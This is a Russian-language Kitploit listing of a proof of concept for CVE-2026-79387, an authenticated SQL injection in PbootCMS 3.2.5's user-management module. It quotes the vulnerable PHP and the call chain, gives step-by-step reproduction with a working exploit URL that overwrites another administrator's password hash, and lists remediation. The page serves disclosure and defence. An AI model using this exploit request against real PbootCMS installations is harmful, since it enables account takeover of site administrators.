Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-79387-PbootCMS-SQL-Injection — Доказательство концепции для CVE-2026-79387 — аутентифицированная SQL-инъекция в управлении пользователями PbootCMS, позволяющая произвольное обновление полей и захват учётной записи. | Kitploit
Инструменты/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

Доказательство концепции для CVE-2026-79387 — аутентифицированная SQL-инъекция в управлении пользователями PbootCMS, позволяющая произвольное обновление полей и захват учётной записи.

Репозиторий
10 ч 21 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-79387: SQL-инъекция в модуле управления пользователями PbootCMS V3.2.5

Обзор

ПолеДетали
ID CVECVE-2026-79387
ПродуктPbootCMS
Затронутые версии3.2.0 – 3.2.5 и, возможно, более ранние
Тип уязвимостиSQL-инъекция (CWE-89)
Вектор атакиУдалённый (с аутентификацией)
Серьёзность CVSSВысокая
ОбнаружилJihaoLi
Вендорhttps://www.pbootcms.com/

Описание уязвимости

В модуле управления пользователями PbootCMS V3.2.5 существует уязвимость SQL-инъекции. Уязвимость находится в методе mod() файла /apps/admin/controller/system/UserController.php (строка 149) и методе modUser() файла /apps/admin/model/system/UserModel.php.

Параметр field полностью контролируется пользователем через GET-запрос без какой-либо проверки по белому списку. Параметр value также полностью контролируется пользователем и напрямую конкатенируется в SQL-оператор UPDATE. Аутентифицированный злоумышленник может указать любую колонку базы данных в качестве field (например, password, username, status, role), что позволяет произвольное манипулирование данными.

Корневая причина

root@kitploit:~
// UserController.php - метод mod()
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field и $value берутся напрямую из суперглобального массива $_GET и конкатенируются в SQL-строку без санитизации, без белого списка и без параметризованных запросов. Затем эта строка передаётся в UserModel::modUser(), который пересылает её в базовый метод Model::update(). Поскольку аргумент является строкой (а не массивом), это обходит проверку имён полей checkKey() и встраивается дословно в предложение SET:

root@kitploit:~
UPDATE ay_user SET <контролируемое_пользователем>= '<контролируемое_пользователем>', update_user='admin' WHERE ucode='<ucode>'

Цепочка вызовов

root@kitploit:~
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

Воздействие

Аутентифицированный злоумышленник может:

  1. Изменить пароль любого пользователя — включая супер-администратора (кроме встроенного основателя с ucode=10001).
  2. Изменить статус учётной записи — включать или отключать произвольные учётные записи.
  3. Внедрить более глубокий SQL — параметр value позволяет экранировать одинарную кавычку, что потенциально открывает возможность для многооператорных или тавтологических атак.

Это приводит к захвату учётных записей и полному контролю над бэкендом CMS.

Шаги воспроизведения

Предварительные требования

  • PbootCMS V3.2.5, установленный локально (протестировано на 192.168.1.104, Apache/PHP 7.2.1/SQLite)
  • Действительная учётная запись администратора бэкенда

Шаг 1: Вход в панель администратора

Откройте панель администратора PbootCMS и войдите с учётной записью admin по умолчанию.

Панель администратора

Шаг 2: Создание целевого пользователя

Перейдите в Системное управление → Управление пользователями → Добавить пользователя. Создайте нового пользователя:

  • Имя пользователя: admin2
  • Пароль: admin
  • Роль: Системный администратор

Создание пользователя

Шаг 3: Проверка существования пользователя

Список пользователей подтверждает наличие admin2 с ucode=10002:

Список пользователей

Шаг 4: Подтверждение исходного пароля

Откройте новое окно браузера. Попробуйте войти как admin2 с паролем 123456 — это не удастся, поскольку фактический пароль — admin:

Ошибка входа

Шаг 5: Создание и выполнение эксплойта

Используя браузер уже вошедшего администратора, перейдите по адресу:

root@kitploit:~
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291 — это MD5-хеш строки 123456.

Метод mod() выполняет инъекцию и перенаправляет через location(-1):

Эксплойт выполнен — Не найдено

Шаг 6: Проверка смены пароля

Теперь попробуйте войти с admin2 / 123456:

Успешный вход

Пароль был успешно изменён посредством SQL-инъекции. Пользователь теперь вошёл в систему с новым паролем, что подтверждает полный захват учётной записи.

Анализ исходного кода

Уязвимый код (UserController.php, строка ~149)

Исходный код

Уровень базы данных (Model.php — метод update)

Когда update() получает строковый аргумент, он используется как есть в предложении SET без какого-либо экранирования:

root@kitploit:~
final public function update($data = null)
{
    if (is_array($data)) {
        // Путь массива: checkKey() проверяет имена полей
        ...
    } else {
        // Путь строки: БЕЗ КАКОЙ-ЛИБО ПРОВЕРКИ
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Прямое выполнение, без подготовленных операторов
}

Устранение

  1. Проверка по белому списку параметра field — разрешать только известные имена колонок (status, username, realname, password).
  2. Параметризованные запросы — использовать подготовленные операторы вместо конкатенации строк.
  3. Экранирование пользовательского ввода — как минимум, санитизировать $value для предотвращения выхода за пределы кавычек.
  4. Принудительное хеширование паролей — если field равен password, применять encrypt_string() к значению перед сохранением.
  5. Ограничить путь автономного изменения — ветка «изменение одного поля» в mod() должна требовать действительный CSRF-токен и проверку авторизации на уровне ролей.

Ссылки

  • Официальный сайт PbootCMS
  • Исходный код PbootCMS на Gitee
  • CVE-2026-79387

Раскрытие: Эта уязвимость была ответственно раскрыта вендору. Если вы используете затронутую версию, немедленно обновитесь и проверьте все учётные записи бэкенда.

Скачать инструмент